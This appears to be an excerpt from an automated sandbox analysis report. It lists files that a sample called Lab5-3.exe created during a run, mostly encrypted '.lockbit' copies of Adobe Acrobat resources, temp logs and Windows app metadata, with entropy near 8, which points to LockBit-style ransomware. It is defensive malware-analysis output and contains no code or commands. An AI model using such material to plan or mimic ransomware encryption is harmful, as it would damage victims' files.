Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152.log.lockbit entropy: 7.99802199666	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051a.log.lockbit entropy: 7.99789047295	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152a.log.lockbit entropy: 7.99886623294	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051.log.lockbit entropy: 7.99000329496	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\plugin.js.lockbit entropy: 7.9992290803	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\read_EX_Challenger_1_DT-2x.png.lockbit entropy: 7.99639169654	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417072488237400_C12D9B44-3468-47BC-9418-BF0A674A2B2F.log.lockbit entropy: 7.99909097554	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696334775820156800_6EB929AF-656E-4F43-9731-EA7753E1F1BD.log.lockbit entropy: 7.99272991042	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1055.log.lockbit entropy: 7.99903295554	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1157.log.lockbit entropy: 7.99817033253	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_agimnkijcamfeangaknmldooml.lockbit entropy: 7.99477586607	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1153.log.lockbit entropy: 7.99837879167	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\308046B0AF4A39CB;PrivateBrowsingAUMID.lockbit entropy: 7.99569249139	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051c.log.lockbit entropy: 7.99898941287	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome.lockbit entropy: 7.99531924664	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\ui-strings.js.lockbit entropy: 7.99163766797	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js.lockbit entropy: 7.99140812105	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\req_sign_ctip_gif.gif.lockbit entropy: 7.99093313676	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js.lockbit entropy: 7.99125611304	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\req_sign_ctip_gif.gif.lockbit entropy: 7.99091547185	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\offline.lockbit entropy: 7.99186842062	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417101742322600_290EFEE9-C25A-4857-9F32-D7E6D51B7C09.log.lockbit entropy: 7.99904286705	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App_1696413198165042300_AA3FCB9C-CF1A-4407-8A94-A7D6C220021F.log.lockbit entropy: 7.99861988565	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\ui-strings.js.lockbit entropy: 7.99100657411	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\msedge_installer.log.lockbit entropy: 7.99106760798	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696334923056622400_BD966DD2-7850-423A-B1D8-7882CE1A6D15.log.lockbit entropy: 7.99895090135	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417118050662300_8475A8C9-2447-4BC4-8E46-350AA0582B94.log.lockbit entropy: 7.99882260983	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js.lockbit entropy: 7.99412686377	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\tmp33E7.tmp.lockbit entropy: 7.99879187849	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\es-es\ui-strings.js.lockbit entropy: 7.99270951535	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js.lockbit entropy: 7.99225903335	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\pt-br\ui-strings.js.lockbit entropy: 7.99173316524	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Complex Machine.pdf.lockbit entropy: 7.99896431834	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\CourierStd-Bold.otf.lockbit entropy: 7.99432604774	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\https___java_com_help.lockbit entropy: 7.99535770159	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{16988324-21C9-05B2-CA60-9B4EC72739D8}.lockbit entropy: 7.99555874194	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg.lockbit entropy: 7.99013028623	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\sv-se\ui-strings.js.lockbit entropy: 7.99114919421	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\root\ui-strings.js.lockbit entropy: 7.99147218669	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg.lockbit entropy: 7.99351653644	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ko-kr\ui-strings.js.lockbit entropy: 7.99030080625	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg.lockbit entropy: 7.99183551605	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg.lockbit entropy: 7.99381298404	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\CourierStd.otf.lockbit entropy: 7.99417467076	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg.lockbit entropy: 7.99293329667	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_fmgjjmmmlfcabfkddbjimcfncm.lockbit entropy: 7.99577050113	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{BD3F924E-55FB-A1BA-9DE6-B50F9F2460AC}.lockbit entropy: 7.99552920558	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{BB044BFD-25B7-2FAA-22A8-6371A93E0456}.lockbit entropy: 7.99482147006	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\https___java_com_.lockbit entropy: 7.99563621928	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_fhihpiojkboajapmgkhlnakfjf.lockbit entropy: 7.9952298929	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_MSOUC_EXE_15.lockbit entropy: 7.99463985871	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\CourierStd-Oblique.otf.lockbit entropy: 7.99447661114	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\ui-strings.js.lockbit entropy: 7.99134134533	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png.lockbit entropy: 7.99727159948	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\fr-fr\NativeRS.webm.lockbit entropy: 7.99246081044	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{E7A33582-E908-3379-5368-5999454DCD83}.lockbit entropy: 7.99471731635	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg.lockbit entropy: 7.99250466738	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_en_135x40.svg.lockbit entropy: 7.99200917815	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png.lockbit entropy: 7.99749043135	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\MsSense.exe.mui.lockbit entropy: 7.99445726931	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\AdobePIStd.otf.lockbit entropy: 7.99788044008	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\CourierStd-BoldOblique.otf.lockbit entropy: 7.99430069039	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg.lockbit entropy: 7.99048003501	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\MinionPro-Bold.otf.lockbit entropy: 7.99912417082	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\MyriadPro-Bold.otf.lockbit entropy: 7.9980047441	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg.lockbit entropy: 7.99169801189	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\MinionPro-Regular.otf.lockbit entropy: 7.99913768381	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\MyriadPro-BoldIt.otf.lockbit entropy: 7.99838819273	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fi-fi\ui-strings.js.lockbit entropy: 7.99194764151	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fr-fr\ui-strings.js.lockbit entropy: 7.99146679564	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png.lockbit entropy: 7.99907567558	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.lockbit entropy: 7.99841991563	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\ui-strings.js.lockbit entropy: 7.99202791919	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\TypeSupport\Unicode\ICU\icudt26l.dat.lockbit entropy: 7.99911351921	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\SY______.PFB.lockbit entropy: 7.99492842136	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\MyriadPro-Regular.otf.lockbit entropy: 7.99787441563	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT.lockbit entropy: 7.99216865567	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99782877887	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99487886687	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99668203146	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftEdge.Stable_117.0.2045.47_neutral__8wekyb3d8bbwe\Logo.png entropy: 7.99429417176	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99365095909	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99757849177	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat entropy: 7.99574230989	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99665241411	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.2f73246d.pri entropy: 7.99424746243	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99421701632	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.45e00f56.pri entropy: 7.99513075691	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99778856658	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat entropy: 7.99025545066	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99424651126	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99840217126	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat entropy: 7.99112010702	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99383571724	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.People_2019.305.632.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99047443994	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99612640738	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.b19e8503.pri entropy: 7.99734510063	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml entropy: 7.99373071115	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.ebbfea5f.pri entropy: 7.99079015538	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.ScreenSketch_2019.904.1644.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml entropy: 7.99361176306	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\read_EX_Challenger_1-2x.png.lockbit entropy: 7.99688650796	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\read_EX_Challenger_1_non_EN-2x.png.lockbit entropy: 7.99609110926	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\QRCode.png.lockbit entropy: 7.99462605144	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\AppxBlockMap.xml entropy: 7.99886746596	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png.lockbit entropy: 7.9962044333	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\FillnSign_visual.svg.lockbit entropy: 7.9942288207	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-acro-es_es.gif.lockbit entropy: 7.99934182488	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\read_EX_Challenger_1.png.lockbit entropy: 7.99064944063	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\read_EX_Challenger_1_DT.png.lockbit entropy: 7.99056153416	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png.lockbit entropy: 7.99737168416	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png.lockbit entropy: 7.99093118856	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png.lockbit entropy: 7.99782021159	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png.lockbit entropy: 7.99432097582	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wct38F0.tmp.lockbit entropy: 7.99749541306	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wct150C.tmp.lockbit entropy: 7.99776228954	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64.lockbit entropy: 7.99708251881	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.lockbit entropy: 7.99760193161	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags@2x.png.lockbit entropy: 7.99911769739	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner-4x.png.lockbit entropy: 7.99419442681	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wctE4A4.tmp.lockbit entropy: 7.99748803301	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wct49A7.tmp.lockbit entropy: 7.99666172615	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wctDB2E.tmp.lockbit entropy: 7.99732336556	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner-3x.png.lockbit entropy: 7.99078283975	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png.lockbit entropy: 7.99103935541	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wct33D7.tmp.lockbit entropy: 7.9971279919	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wct443C.tmp.lockbit entropy: 7.99719074532	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wctF411.tmp.lockbit entropy: 7.99736232581	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png.lockbit entropy: 7.99650880467	Jump to dropped file
